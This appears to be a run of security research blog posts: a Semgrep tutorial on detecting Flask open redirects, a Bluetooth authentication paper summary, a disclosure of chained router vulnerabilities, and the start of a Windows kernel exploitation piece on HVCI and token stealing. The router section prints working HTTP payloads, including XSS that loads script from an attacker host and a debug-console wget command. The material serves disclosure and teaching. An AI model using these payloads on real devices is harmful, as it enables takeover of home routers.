    return redirect(uri)

In this example code, we can see a piece of Flask code that contains an open redirect vulnerability. We can dissect it into its various properties and see how we can match this in Semgrep. First we’ll mention the specific semantics of this function and what exactly we want to match.

Properties:

1. @app.route("/redirect/") – Already on the first line we see that our target functions have a route decorator that tells us that this function is used to handle a request, or that it directly receives user input by virtue of being an endpoint handler. Matching route/endpoint handlers is effective because input to an endpoint handler is unsanitized and could be a potential area of concern: 

from flask import redirect 
 
def do_redirect(uri):
    if is_logging_enabled():
        log(uri)
    
    return redirect(uri)
 
@app.route("/redirect/<uri>")
def handle_request(uri):
    #unsafe open_redirect
    
    if unsafe_uri(uri):
        return redirect_to_index()
    
    return do_redirect(uri)

In the listing above if we were to match every function that includes do_redirect instead of only route handlers that include do_redirect we could end up with false positives where an input to a function has already been sanitized. Already here we have some added complexity that does not bode well with other static analysis tools. In this case we would match do_redirect even though the URI it receives has already been sanitized in the function unsafe_uri(uri). This brings us to our first constraint: we need to match route handlers. 

2.    def handle_request(uri):here it’s important that we match a function right below the function decorator, and that this function takes in a parameter. We could match any function that has a route decorator which also contains a redirect, but then we could possibly match a function where the redirect input is constant or comes from sanitized storage. Matching a route handler with a parameter guarantees that it receives unsanitized user input. We can be sure of this because Flask does not do any URL sanitization. Specifying this results in more accurate matching and finer detection and brings us to our second constraint: that we need to match route handlers with 1 or more parameters

3.    return redirect(uri)here it may seem obvious, all we have to do is match redirect, right? Sadly, it is not that easy. Many APIs can have generic names that may collide with other modules using a generic text/regex search, this can be especially problematic in languages that support function overloading, where a specific overloaded instance of a function may have problems, but other overloaded instances are fine. Not accounting for these may result in many false positives. For example, consider the following snippet:

from robot import redirect
 
@app.route("/redirect/<uri>")
def handle_request(uri):
    #unsafe open_redirect
    return redirect(uri)

If we only matched redirect, we would match the redirect function from a module named robot which could be a false positive. An even more horrifying scenario to match would be an API or module that is imported under another name, e.g.:

from flask import redirect as rd

Thankfully, specifying the origin of the function allows Semgrep to handle all these cases and we’ll go more into detail on this when developing the patterns.

What does a good pattern account for?

A good pattern depends on your goals and how you use rules: finding performance bottlenecks, enforcing better programming practices, or finding security concerns as an auditor, everyone’s needs are different.

For a security assessment, it is important to find potential areas of concern, for example often areas that do not include sanitization are potentially dangerous. Ideally we want to eliminate as many false positives as possible and we can do this by excluding functions with sanitization. This brings us to our final constraint: we don’t want to match any functions containing sanitization keywords.

The Constraints

So far we have the following constraints:

  • match a route handler
  • match a function that takes in 1 or more parameters
  • match a redirect in the function that takes in a parameter from the function
  • IDEALLY: don’t match a function containing sanitization keywords

Step 3. Developing The Pattern

Now that we know all the constraints, and the semantics of the code we want to match we can finally start writing the pattern. I’ll put the end pattern for display, and we’ll dissect it together. Semgrep takes YAML files that describe multiple rules. Each rule contains a specific pattern to match.

 rules:
- id: my_pattern_id
  languages:
  - python
  message: found open redirect
  severity: ERROR
  patterns:
  - pattern-inside: |
      @app.route(...)
      def $X(..., $URI_VAR, ...):
        ...
        flask.redirect($URI_VAR)
  - pattern-not-regex: (sanitize|validate|safe|check|verify) 

rules: – Every Semgrep rule file has to start with the rules tag, this is an array of rules as a Semgrep rule file may contain multiple rules.

- id: my_pattern_id Every Semgrep rule in the rules array has an id, this is essentially the name of the rule and must be unique.

languages: 
  - python

The language this rule works with. This determines how it parses the pattern & which files it checks.

message: found open redirect the message displayed when the Semgrep search matches a pattern, you can think of this like a compiler warning message.

severity: ERROR determines the color and other aspects of the messages upon a successful match. You can think of this as a compiler error, except it’s just a more severe warning, this is good for filtering through different levels of matches with Semgrep, or to cut down on time by searching only for erroneous patterns.

patterns:
  - pattern: |
      @app.route(...)
      def $X(..., $URI_VAR, ...):
        ...
        flask.redirect($URI_VAR)
  - pattern-not-regex: (sanitize|validate|safe|check|verify)

This is the final part of the rule and contains the actual logic of the pattern, a rule has to contain a top-level pattern element. In order for a match to be successful the final result of all the logic has to be true. In this case the top level element is a patterns, which only returns true if all the elements underneath it return true.

  - pattern: |
      @app.route(...)
      def $X(..., $URI_VAR, ...):
        ...
        flask.redirect($URI_VAR)

This pattern searches for code that satisfies the first 3 constraints, with the ellipsis representing anything. @app.route(...) will match any call to that function with any number of arguments (including none).

def $X(..., $URI_VAR, ...):

matches any function, and stores its name in the variable $X. It then matches any argument in this function, whether it be in the middle or at the end and stores it in $URI_VAR.

The Ellipsis following matches any code in this function until the next statement in the pattern which in this case is flask.redirect($URI_VAR) which matches redirect only if its arguments come from the function variable $URI_VAR. If these constraints are all satisfied, it then passes the text it matches onto the next pattern and it returns true.

One amazing feature of Semgrep is its ability to match fully qualified function names, even when they are imported with an alias. In this case, matching flask.redirect($URI_VAR) would match only redirects from flask, even if they are imported with another name (such as redir or rd).

- pattern-not-regex: (sanitize|validate|safe|check|verify)

This pattern is responsible for eliminating potential false positives. It’s very simple: it runs a regex against the matched text and if the regex comes back with any matches, it returns false otherwise it returns true. With this we’re checking if likely sanitization elements exist in the function code. The text that is used to check for these sanitization elements is obviously not perfect, but it can be tailored to the project you are working on and can always be extended to include more possible keywords. Alternatively it can be removed completely when considering the false positives vs. missed true positives balance.

Step 4. Testing & Debugging

Now that we’ve made our pattern, we can test it on the online Semgrep playground to see if it works. Here we can make small changes and get instant feedback in order to improve our patterns. Below is an example of the rules at work matching the unsanitized open redirect and ignoring the safe redirect.

https://semgrep.dev/s/65lY

Trade Offs, Quantity vs Quality

When designing these patterns, it’s possible to spend all your time trying to write the best pattern that catches every situation, filters out all the false-positives and what not, but this is an almost futile endeavor and can lead into rabbit holes. Also, overly precise rules may filter things that weren’t even meant to be filtered. The dilemma always comes down to how many false positives are you willing to handle–this tradeoff is up to Semgrep users to decide for themselves. When absolutely critical it may be better to have more false positives but to catch everything, whereas from an auditor’s perspective it may be better to have a more precise ruleset to start with a good lead and to be efficient, and then audit unmatched code later. Or perhaps a graduated approach where higher false positive rules are enabled for subsequent runs of SAST tooling.

Return on Investment

When it comes to analysis tools, it’s important to understand how much you need to set up & maintain to truly get value back. If they are complicated to update and maintain sometimes it’s just not worth it. The great upside to Semgrep is the ease of use–one can start developing patterns after doing the 20 minute tutorial and make a significant amount of rules in a day, and the benefits can be felt immediately. It requires no fiddling with versions or complicated compiler setup, and once a ruleset has been developed it’ll work on any supported languages. 

Showcase – Django.nV

Django.nV is a very well-made intentionally vulnerable application that uses the Django framework to introduce a variety of bugs for learning framework-specific penetration testing, from XSS to more framework specific bugs. Thanks to nVisium for making a great training application open source!

We used Django.nV to test IncludeSec’s inhouse rules and came up with 4 new instances of vulnerabilities that the community rulesets missed:

django.nV/taskManager/settings.py
severity:warning rule:MD5Hasher for password: use a more secure hashing algorithm for password
124:PASSWORD_HASHERS = ['django.contrib.auth.hashers.MD5PasswordHasher']
 
django.nV/taskManager/templates/taskManager/base_backend.html
severity:error rule:Unsafe XSS usage: unsafe template usage in html,
58:                        <span class="username"><i class="fa fa-user fa-fw"></i> {{ user.username|safe }}</span>
 
django.nV/taskManager/templates/taskManager/tutorials/base.html
severity:error rule:Unsafe XSS usage: unsafe template usage in html,
54:                        <span class="username">{{ user.username|safe }}</span>
 
django.nV/taskManager/views.py
severity:warning rule:django open redirect: unvalidated open redirect
394:    return redirect(request.GET.get('redirect', '/taskManager/'))

MD5Hashing – detects that the MD5Hasher has been used for passwords, which is cryptographically insecure.

Unsafe template usage in HTML – detects the use of user parameters with the safe keyword in html, which could introduce XSS.

Open redirect – very similar to the example patterns we already discussed. It detects an open redirect in the logout view.

We’ve collaborated with the kind developers of Semgrep and the people over at returntocorp (r2c) to get certain rules in the default Django Semgrep rule repository.

Conclusion

In conclusion, Semgrep makes it relatively painless to write custom static analysis rules to audit applications. Improper usage of framework APIs can be a common source of bugs, and we at IncludeSec found that a small amount of up front investment learning the syntax paid dividends when auditing applications using these frameworks.

The post Customizing Semgrep Rules for Flask/Django and Other Popular Web Frameworks appeared first on Include Security Research Blog.

Issues with Indefinite Trust in Bluetooth

25 August 2021 at 14:37

At IncludeSec we of course love to hack things, but we also love to use our skills and insights into security issues to explore innovative solutions, develop tools, and share resources. In this post we share a summary of a recent paper that I published with fellow researchers in the ACM Conference on Security and Privacy in Wireless and Mobile Networks (WiSec’21). WiSec is a conference well attended by people across industry, government, and academia; it is dedicated to all aspects of security and privacy in wireless and mobile networks and their applications, mobile software platforms, Internet of Things, cyber-physical systems, usable security and privacy, biometrics, and cryptography. 

Overview

Recurring Verification of Interaction Authenticity Within Bluetooth Networks
Travis Peters (Include Security), Timothy Pierson (Dartmouth College), Sougata Sen (BITS GPilani, KK Birla Goa Campus, India), José Camacho (University of Granada, Spain), and David Kotz (Dartmouth College)

The most common forms of authentication are passwords, potentially used in combination with a second factor such as a hardware token or mobile app (i.e., two-factor authentication). These approaches emphasize a one-time, initial authentication. After initial authentication, authenticated entities typically remain authenticated until an explicit deauthentication action is taken, or the authenticated session expires. Unfortunately, explicit deauthentication happens rarely, if ever. To address this issue, recent work has explored how to provide passive, continuous authentication and/or automatic de-authentication by correlating user movements and inputs with actions observed in an application (e.g., a web browser). 

The issue with indefinite trust, however, goes beyond user authentication. Consider devices that pair via Bluetooth, which commonly follow the pattern of pair once, trust indefinitely. After two devices connect, those devices are bonded until a user explicitly removes the bond. This bond is likely to remain intact as long as the devices exist, or until they transfer ownership (e.g., sold or lost).

The increased adoption of (Bluetooth-enabled) IoT devices and reports of the inadequacy of their security makes indefinite trust of devices problematic. The reality of ubiquitous connectivity and frequent mobility gives rise to a myriad of opportunities for devices to be compromised. Thus, I put forth the argument with my academic research colleagues that one-time, single-factor, device-to-device authentication (i.e., an initial pairing) is not enough, and that there must exist some mechanism to frequently (re-)verify the authenticity of devices and their connections.

In our paper we propose a device-to-device recurring authentication scheme – Verification of Interaction Authenticity (VIA) – that is based on evaluating characteristics of the communications (interactions) between devices. We adapt techniques from wireless traffic analysis and intrusion detection systems to develop behavioral models that capture typical, authentic device interactions (behavior); these models enable recurring verification of device behavior.

Technical Highlights

  • Our recurring authentication scheme is based on off-the-shelf machine learning classifiers (e.g., Random Forest, k-NN) trained on characteristics extracted from Bluetooth/BLE network interactions. 
  • We extract model features from packet headers and payloads. Most of our analysis targets lower-level Bluetooth protocol layers, such as the HCI and L2CAP layers; higher-level BLE protocols, such as ATT, are also information-rich protocol layers. Hybrid models – combining information extracted from various protocol layers – are more complex, but may yield better results.
  • We construct verification models from a combination of fine-grained and coarse-grained features, including n-grams built from deep packet inspection, protocol identifiers and packet types, packet lengths, and packet directionality (ingress vs. egress). 
Our verification scheme can be deployed anywhere that interposes on Bluetooth communications between two devices. One example we consider is a deployment within a kernel module running on a mobile platform.

Other Highlights from the Paper 

  • We collected and presented a new, first-of-its-kind Bluetooth dataset. This dataset captures Bluetooth network traces corresponding to app-device interactions between more than 20 smart-health and smart-home devices. The dataset is open-source and available within the VM linked below.
  • We enhanced open-source Bluetooth analysis software – bluepy and btsnoop – in an effort to improve the available tools for practical exploration of the Bluetooth protocol and Bluetooth-based apps.
  • We presented a novel modeling technique, combined with off-the-shelf machine learning classifiers, for characterizing and verifying authentic Bluetooth/BLE app-device interactions.
  • We implemented our verification scheme and evaluated our approach against a test corpus of 20 smart-home and smart-health devices. Our results show that VIA can be used for verification with an F1-score of 0.86 or better in most test cases.

To learn more, check out our paper as well as a VM pre-loaded with our code and dataset

Final Notes

Reproducible Research

We are advocates for research that is impactful and reproducible. At WiSec’21 our published work was featured as one of four papers this year that obtained the official replicability badges. These badges signify that our artifacts are available, have been evaluated for accuracy, and that our results were independently reproducible. We thank the ACM the WiSec organizers for working to make sharing and reproducibility common practice in the publication process. 

Next Steps

In future work we are interested in exploring a few directions:

  • Continue to enhance tooling that supports Bluetooth protocol analysis for research and security assessments
  • Expand our dataset to include more devices, adversarial examples, etc. 
  • Evaluate a real-world deployment (e.g., a smartphone-based multifactor authentication system for Bluetooth); such a deployment would enable us to evaluate practical issues such as verification latency, power consumption, and usability. 

Give us a shout if you are interested in our team doing bluetooth hacks for your products!

The post Issues with Indefinite Trust in Bluetooth appeared first on Include Security Research Blog.

Drive-By Compromise: A Tale Of Four Wifi Routers

1 October 2021 at 01:58

The consumer electronics market is a mess when it comes to the topic of security, and particularly so for routers and access points. We’ve seen a stark increase in demand for device work over the past year and even some of the best-funded products make plenty of security mistakes. There are a dozen vendors selling products within any portion of this market and it is incredibly hard to discern the overall security posture of a device from a consumer’s perspective. Even security professionals struggle with this – the number one question I’ve received when I describe my security work in this space to non-security people is "Okay, then what router should I buy?" I still don’t feel like I have a good answer to that question.

¯\(ツ)

Hacking on a router is a great way to learn about web and device security, though. This industry seems stuck in a never-ending cycle in which security is almost always an afterthought. Devices are produced at the cheapest cost manageable, and proper security testing is an expensive endeavor. Products ship full of security vulnerabilities, see support for a handful of years, and then reach end-of-life only to be replaced by the new shiny model.

For years I’ve given this as my number one recommendation to people new to infosec as a means of leveling up their skills. In late 2020, someone asked me for practical advice on improving at web application security. I told him to go buy the cheapest router he could find on Amazon and that I’d help walk him through it. This ended up being the WAVLINK AC1200, clocking in at a whopping $28 at the time.

More fun indeed

Of course, I was personally tempted into get involved, so I picked one up myself. After a couple weekends playing with the device I’d found quite a few bugs. This culminated in a solid chain of vulnerabilities that made it fairly simple to remotely compromise the device – all from simply visiting an attacker-controlled webpage (aka ‘drive-by’ attack). This is a pretty amazing feeling, and doing this sort of work has turned into a hobby. $28 for a few weekends of fun? Cheaper than a lot of options out there!

This initial success got me excited enough that I bought a few more devices at around the same price-point. They delivered in a similar fashion, giving me quite a bit of fun during the winter months of 2020. First, though, let’s dive into the WAVLINK AC1200…

WAVLINK AC1200

When initially digging into this, I didn’t bother to check for prior work as the journey is the fun part. Several of the vulnerabilities I discovered were found independently (and earlier) by others, and some of them have been publicly disclosed. The other vulnerabilities were either disclosed in private, or caught internally by WAVLINK – the firmware released in December 2020 seems to have patched it all. If you happen to have one, you should definitely go install the updated firmware.

Alright, let’s get into it. There are a few things going on with this router:

  1. A setup wizard is not disabled after being used, letting unauthenticated callers set the device password.
  2. Cross-site request forgery (CSRF) throughout the management console.
  3. Cross-site scripting (XSS) in the setup wizard.
  4. A debug console that allows execution of arbitrary system commands.
pew pew pew

The Magical Setup Wizard

When first provisioning the device, users are met with a pretty simple setup wizard:

WAVLINK AC1200 Setup Wizard

When you save, the application sends a POST request like the following:

POST /cgi-bin/login.cgi HTTP/1.1
Host: 192.168.10.1
Content-Type: application/x-www-form-urlencoded
<HTTP headers redacted for brevity>

page=sysinit&wl_reddomain=WO&time_zone=UTC+04:00&newpass=Password123&wizardpage=/wizard.shtml&hashkey=0abdb6489f83d63a25b9a025b8a518ad&syskey=M98875&wl_reddomain1=WO&time_zone1=UTC+04:00&newpass1=supersecurepassword

Once this wizard is completed, the endpoint is not disabled, essentially allowing an attacker to re-submit the setup wizard. Since it’s implemented to not require authentication, an attacker can call back with a properly-formed request if someone happens to visit an attacker-controlled website. It can also be cleaned up a bit, as only some of the parameters are required:

POST /cgi-bin/login.cgi HTTP/1.1
Host: 192.168.10.1
Content-Type: application/x-www-form-urlencoded
<HTTP headers redacted for brevity>

page=sysinit&newpass=<attacker-supplied password>

In addition, the wizardpage parameter is vulnerable to reflected XSS and we can use a single request to pull in some extra JavaScript:

POST /cgi-bin/login.cgi HTTP/1.1
Host: 192.168.10.1
Content-Type: application/x-www-form-urlencoded
<HTTP headers redacted for brevity>

page=sysinit&newpass=hunter2&wizardpage=</script><script src="http://q.mba:1234/poc.js">//

When a victim visits our page, we can see this request in the HTTP server logs:

This additional code can be used for all sorts of nefarious purposes, but first…

Command Execution as a Service

One of the bugs that was reported on fairly extensively had to do with this lovely page, hidden in the device’s webroot:

The reports claimed that this is a backdoor, though honestly it seems more like a debug/test console to me. Regardless, it’s pretty useful for this exploit 🙂

With the additional JavaScript pulled in via XSS, we can force the targeted user into logging into the web console (with the newly set password) and then use the debug console to pull down a file:

POST /cgi-bin/adm.cgi HTTP/1.1
Host: 192.168.10.1
Content-Type: application/x-www-form-urlencoded
<HTTP headers redacted for brevity>

page=sysCMD&command=wget+http://q.mba:1234/rce.txt+-O+/etc_ro/lighttpd/www/rce.txt&SystemCommandSubmit=Apply

In this case I’m just using wget, but it would be pretty trivial to do something more meaningful here. All-in-all, quite a fun time working this all out and it proved to be a great training exercise for some folks.

Cudy and Tenda

The next two devices that came across my desk for IoT research practice were the Cudy WR1300 and the Tenda AC6V2. While not quite as vulnerable as the WAVLINK, they were both quite vulnerable in their ‘default’ state. That is, if someone were to purchase one and just plug in an Ethernet cable, it’d work perfectly well but attacks can easily exploit gaps in the web management interfaces.

The Tenda AC6v2

For this device, exploitation is trivial if the device hasn’t been provisioned. Since you plug it in and It Just Works, this is fairly likely. Even if a victim has set a password, then attacks are possible if a victim is logged into the web interface, or an attacker can guess or crack the password.

We ended up reporting several findings:

  1. CSRF throughout the web console. (CVE-2021-32118)
  2. Command injection in the NTP configuration (CVE-2021-32119).
  3. MD5-hashed user passwords stored in a cookie. (CVE-2021-32117)
  4. The aforementioned gap introduced by not requiring users to complete web provisioning before use. (CVE-2021-32116)
  5. sysinit remains active, can be used to set device password (CVE-2021-32120)

Only 1 and 2 are required for remote compromise. We reported these back in May and received no response, and the firmware has not been updated at the time of writing this post.

The Cudy WR1300

For this device, users are not prompted to change the default password (admin), even if they happen to log into the web interface to set the device up (CVE-2021-32112). The console login is also vulnerable to CSRF, which is a nasty combination. Once logged in, users can be redirected to a page that is vulnerable to reflected XSS (CVE-2021-32114), something like:

http://192.168.10.1/cgi-bin/luci/admin/network/bandwidth?iface=wlan10&icon=icon-wifi&i18name=<script>yesitsjustthateasy</script>

this enables an attacker to bypass the CSRF protections on other pages. Of particular interest are the network utilities, each of which (ping/traceroute/nslookup) are vulnerable to command injection (CVE-2021-32115). To sum it all up, the exploit chain ends up looking as follows:

  1. Use CSRF to log into the web console (admin/admin).
  2. Redirect to the page vulnerable to cross-site scripting.
  3. Bypass CSRF protections in order to exploit command injection in the ping test feature.

We reported these findings to Cudy in May as well, and they have released new firmware for this device. We haven’t been able to verify the fixes, however we recommend updating to the most recent firmware if you happen to have one of these devices.

Firmware Downgrades For Fun and Profit

The final device that I ended up taking a look in this batch is the Netgear EX6120:

The EX6120 is a fairly simple WiFi range extender that’s been on the market for several years now, at about the same price point as the other devices. This is one that I’d actually purchased a couple years prior but hadn’t found a good way to compromise. After finishing up with the other devices, I was hungry for more and so tried hacking on this one again. Coming back to something with a fresh set of eyes can often yield great results, and that was definitely the case for this device.

When I sit down to test one of these devices my first step is always to patch the firmware to the latest version. On a recent assessment I’d found a CSRF vulnerability that was the result of a difference in the Content-Type on a request. Essentially, all POST requests with the typical Content-Type used throughout the application (x-www-form-urlencoded) were routed through some common code that enforced CSRF mitigations. However, a couple endpoints in the application supported file uploads and those used multipart forms which conveniently lacked CSRF protections.

With that fresh in my mind, as I was upgrading the firmware I tried removing the CSRF token in much the same way. Sure enough – it worked! I crossed my fingers and tested against the most recent firmware, and it had not been patched yet. This vulnerability on its own is okay, though as mentioned previously it’s not all that likely that a victim is going to be logged into the web console and that would be required to exploit it.

It didn’t take very long to find a way, though. In a very similar fashion, multipart-form requests did not seem to require authentication at all (CVE-2021-32121). I’ve seen this previously in other applications and the root cause is often quite similar to the gap in CSRF protections. A request or two uses some fundamentally different way of communicating with the application and as such doesn’t enforce the same restrictions. It’s a bit of a guess as to what the root cause in this specific case is, but that’s my best guess 🙂

We reported this to Netgear in May as well, and they got back to us fairly quickly. Updated firmware has been released, however we haven’t verified the fixes.

Final Thoughts

As always, doing this sort of research has been a very rewarding experience. Plenty of bugs found and reported, new techniques learned, and overall just a lot of fun to play around with. The consumer device space feels like something ripped out of time, where we can rewind twenty years to the ‘good old days’ where exploits of this nature were commonplace. We do see some signs of improvement here and there, but as you go to buy your next device consider the following:

  1. Is the device from a recognized brand? How long have they been around? How’s their track record for security vulnerabilities? How have they responded to vulnerabilities in the past?
  2. Cheaper is not always better. It’s absolutely crazy how cheap some of this hardware has become, and you’re generally getting what you paid for. Software security is expensive to do right and if it seems too good to be true, it often is.
  3. Does the device have known vulnerabilities? This can be as simple as searching for ‘<brand> <model> vulnerabilities’.
  4. How likely is it that you’ll log in to install new firmware? If the answer is ‘not often’ (and no judgement if so – many security professionals I know are plenty guilty here!) then consider getting a model with support for automatic updates.

And finally, while this post has covered vulnerabilities in a lot of cheaper devices, sometimes the more expensive ones can be just as vulnerable. Doing a little research can go a long way towards making informed choices. We hope this post helps illustrate just how vulnerable some of these devices can be.

The post Drive-By Compromise: A Tale Of Four Wifi Routers appeared first on Include Security Research Blog.

Working with vendors to “fix” unfixable vulnerabilities: Netgear BR200/BR500

By Erik Cabetas

In the summer of 2021 Joel St. John was hacking on some routers and printers on his IncludeSec research time. He reported security vulnerabilities to Netgear in their BR200 router line (branded as “Netgear Insight Managed Business Router”). During subsequent internal analysis by Netgear, they found that the BR500 line was also affected by the same concerns identified by IncludeSec. We should note that both of these product lines reached their end-of-life date in 2021 around the time we were doing this research.

Today we want to take a quick moment to discuss a different angle of the vulnerability remediation process that we think was innovative and interesting from the perspective of the consumer and product vendor: hardware product replacement as a solution for vulnerabilities. In the following link released today, you’ll find Netgear’s solution for resolving security risks for customers with regard to this case: https://kb.netgear.com/000064712/Security-Advisory-for-Multiple-Security-Vulnerabilities-on-BR200-and-BR500-PSV-2021-0286.

We won’t discuss the details of the vulnerabilities reported in this post, but suffice to say, they were typical of other SoHo-type products (e.g., CSRF, XSS, admin functionality access, etc.) but were chained in various ways such that mass exploitation is not possible (i.e., this was not wormable). Regardless of the technical details of the vulnerabilities reported, if you are an owner of a BR200 or BR500 router, you should take this chance to upgrade your product!

That last concept of “upgrade your product” for SoHo devices has traditionally been an update of firmware. This method of product upgrade can work well when you have a small company with a small set of supported products (like a Fitbit, as an example), but what happens when you’re a huge company with hundreds of products, hundreds of third parties, and thousands of business agreements? Well, then the situation gets complicated quickly, thus begging the question, “If I reach a speed bump or roadblock in my firmware fix/release cycle, how do I ensure consumers can remain safe?” or “This product is past its end-of-life date. How do we keep consumers on legacy products safe?”

While we don’t have full knowledge of the internal happenings at Netgear, it’s possible that a similar question and answer scenario may have happened at the company. As of May 19, 2022, Netgear decided to release a coupon to allow consumers to obtain a free or 50% discounted (depending on how long you’ve owned the device) new router of the latest model to replace the affected BR200/BR500 devices. Additionally, both affected router models were marked obsolete and their end of life date hit in 2021. 

We think this idea of offering a hardware product replacement as a solution for customers is fairly unique and is an interesting idea rooted in the good intention of keeping users secure. Of course it is not without pitfalls, as there is much more work required to physically replace a hardware device, but if the only options are “replace this hardware” or “have hardware with vulnerabilities”, the former wins most every time.

As large vendors seek to improve security and safety for theirs users in the face of supply chain complexities common these days in the hardware world, we at IncludeSec predict that this will become a more common model of occurrence especially when thinking about the entire product lifecycle for commercial products and how many points may actually be static due to internal or external reasons which may be technical or business related.

For those who have the BR200/BR500 products and are looking to reduce risk, we urge you to visit Netgear’s web page and take advantage of the upgrade opportunity. That link again is: https://kb.netgear.com/000064712/Security-Advisory-for-Multiple-Security-Vulnerabilities-on-BR200-and-BR500-PSV-2021-0286

Stay safe out there folks, and kudos to all those corporations who seek to keep their users safe with product upgrades, coupons for new devices, or whatever way they can!

The post Working with vendors to “fix” unfixable vulnerabilities: Netgear BR200/BR500 appeared first on Include Security Research Blog.

Exploit Development: No Code Execution? No Problem! Living The Age of VBS, HVCI, and Kernel CFG

23 May 2022 at 00:00

Introduction

I firmly believe there is nothing in life that is more satisfying than wielding the ability to execute unsigned-shellcode. Forcing an application to execute some kind of code the developer of the vulnerable application never intended is what first got me hooked on memory corruption. However, as we saw in my last blog series on browser exploitation, this is already something that, if possible, requires an expensive exploit - in terms of cost to develop. With the advent of Arbitrary Code Guard, and Code Integrity Guard, executing unsigned code within a popular user-mode exploitation “target”, such as a browser, is essentially impossible when these mitigations are enforced properly (and without an existing vulnerability).

Another popular target for exploit writers is the Windows kernel. Just like with user-mode targets, such as Microsoft Edge (pre-Chromium), Microsoft has invested extensively into preventing execution of unsigned, attacker-supplied code in the kernel. This is why Hypervisor-Protected Code Integrity (HVCI) is sometimes called “the ACG of kernel mode”. HVCI is a mitigation, as the name insinuates, that is provided by the Windows hypervisor - Hyper-V.

HVCI is a part of a suite of hypervisor-provided security features known as Virtualization-Based Security (VBS). HVCI uses some of the same technologies employed for virtualization in order to mitigate the ability to execute shellcode/unsigned-code within the Windows kernel. It is worth noting that VBS isn’t HVCI. HVCI is a feature under the umbrella of all that VBS offers (Credential Guard, etc.).

How can exploit writers deal with this “shellcode-less” era? Let’s start by taking a look into how a typical kernel-mode exploit may work and then examine how HVCI affects that mission statement.

“We guarantee an elevated process, or your money back!” - The Kernel Exploit Committee’s Mission Statement

Kernel exploits are (usually) locally-executed for local privilege escalation (LPE). Remotely-detonated kernel exploits over a protocol handled in the kernel, such as SMB, are usually more rare - so we will focus on local exploitation.

When locally-executed kernel exploits are exploited, they usually follow the below process (key word here - usually):

  1. The exploit (which usually is a medium-integrity process if executed locally) uses a kernel vulnerability to read and write kernel memory.
  2. The exploit uses the ability to read/write to overwrite a function pointer in kernel-mode (or finds some other way) to force the kernel to redirect execution into attacker-controlled memory.
  3. The attacker-controlled memory contains shellcode.
  4. The attacker-supplied shellcode executes. The shellcode could be used to arbitrarily call kernel-mode APIs, further corrupt kernel-mode memory, or perform token stealing in order to escalate to NT AUTHORITY\SYSTEM.

Since token stealing is extremely prevalent, let’s focus on it.

We can quickly perform token stealing using WinDbg. If we open up an instance of cmd.exe, we can use the whoami command to understand which user this Command Prompt is running in context of.

Using WinDbg, in a kernel-mode debugging session, we then can locate where in the EPROCESS structure the Token member is, using the dt command. Then, using the WinDbg Debugger Object Model, we then can leverage the following commands to locate the cmd.exe EPROCESS object, the System process EPROCESS object, and their Token objects.

dx -g @$cursession.Processes.Where(p => p.Name == "System").Select(p => new { Name = p.Name, EPROCESS = &p.KernelObject, Token = p.KernelObject.Token.Object})

dx -g @$cursession.Processes.Where(p => p.Name == "cmd.exe").Select(p => new { Name = p.Name, EPROCESS = &p.KernelObject, Token = p.KernelObject.Token.Object})

The above commands will:

  1. Enumerate all of the current session’s active processes and filter out processes named System (or cmd.exe in the second command)
  2. View the name of the process, the address of the corresponding EPROCESS object, and the Token object

Then, using the ep command to overwrite a pointer, we can overwrite the cmd.exe EPROCESS.Token object with the System EPROCESS.Token object - which elevates cmd.exe to NT AUTHORITY\SYSTEM privileges.

It is truly a story old as time - and this is what most kernel-mode exploit authors attempt to do. This can usually be achieved through shellcode, which usually looks something like the image below.

However, with the advent of HVCI - many exploit authors have moved to data-only attacks, as HVCI prevents unsigned-code execution, like shellcode, from running (we will examine why shortly). These so-called “data-only attacks” may work something like the following, in order to achieve the same thing (token stealing):

  1. NtQuerySystemInformation allows a medium-integrity process to leak any EPROCESS object. Using this function, an adversary can locate the EPROCESS object of the exploiting process and the System process.
  2. Using a kernel-mode arbitrary write primitive, an adversary can then copy the token of the System process over the exploiting process, just like before when we manually performed this in WinDbg, simply using the write primitive.

This is all fine and well - but the issue resides in the fact an adversary would be limited to hot-swapping tokens. The beauty of detonating unsigned code is the extensibility to not only perform token stealing, but to also invoke arbitrary kernel-mode APIs as well. Most exploit writers sell themselves short (myself included) by stopping at token stealing. Depending on the use case, “vanilla” escalation to NT AUTHORITY\SYSTEM privileges may not be what a sophisticated adversary wants to do with kernel-mode code execution.

A much more powerful primitive, besides being limited to only token stealing, would be if we had the ability to turn our arbitrary read/write primitive into the ability to call any kernel-mode API of our choosing! This could allow us to allocate pool memory, unload a driver, and much more - with the only caveat being that we stay “HVCI compliant”. Let’s focus on that “HVCI compliance” now to see how it affects our exploitation.

Note that the next three sections contain an explanation of some basic virtualization concepts, along with VBS/HVCI. If you are familiar, feel free to skip to the From Read/Write To Arbitrary Kernel-Mode Function Invocation section of this blog post to go straight to exploitation.

Hypervisor-Protected Code Integrity (HVCI) - What is it?

HVCI, at a high level, is a technology on Windows systems that prevents attackers from executing unsigned-code in the Windows kernel by essentially preventing readable, writable, and executable memory (RWX) in kernel mode. If an attacker cannot write to an executable code page - they cannot place their shellcode in such pages. On top of that, if attackers cannot force data pages (which are writable) to become code pages - said pages which hold the malicious shellcode can never be executed.

How is this manifested? HVCI leverages existing virtualization capabilities provided by the CPU and the Hyper-V hypervisor. If we want to truly understand the power of HVCI it is first worth taking a look at some of the virtualization technologies that allow HVCI to achieve its goals.

Hyper-V 101

Before prefacing this section (and the next two sections), all information provided can be found within Windows Internals 7th Edition: Part 2, Intel 64 and IA-32 Architectures Software Manual, Combined Volumes, and Hypervisor Top Level Functional Specification.

Hyper-V is Microsoft’s hypervisor. Hyper-V uses partitions for virtualization purposes. The host operating system is the root partition and child partitions are partitions that are allocated to host a virtual machine. When you create a Hyper-V virtual machine, you are allocating some system resources to create a child partition for the VM. This includes its own physical address space, virtual processors, virtual hard disk, etc. Creating a child partition creates a boundary between the root and child partition(s) - where the child partition is placed in its own address space, and is isolated. This means one virtual machine can’t “touch” other virtual machines, or the host, as the virtual machines are isolated in their own address space.

Among the technologies that help augment this isolation is Second Layer Address Translation, or SLAT. SLAT is what actually allows each VM to run in its own address space in the eyes of the hypervisor. Intel’s implementation of SLAT is known as Extended Page Tables, or EPT.

At a basic level, SLAT (EPT) allows the hypervisor to create an additional translation of memory - giving the hypervisor power to delegate memory how it sees fit.

When a virtual machine needs to access physical memory (the virtual machine could have accessed virtual memory within the VM which then was translated into physical memory under the hood), with EPT enabled, the hypervisor will tell the CPU to essentially “intercept” this request. The CPU will translate the memory the virtual machine is trying to access into actual physical memory.

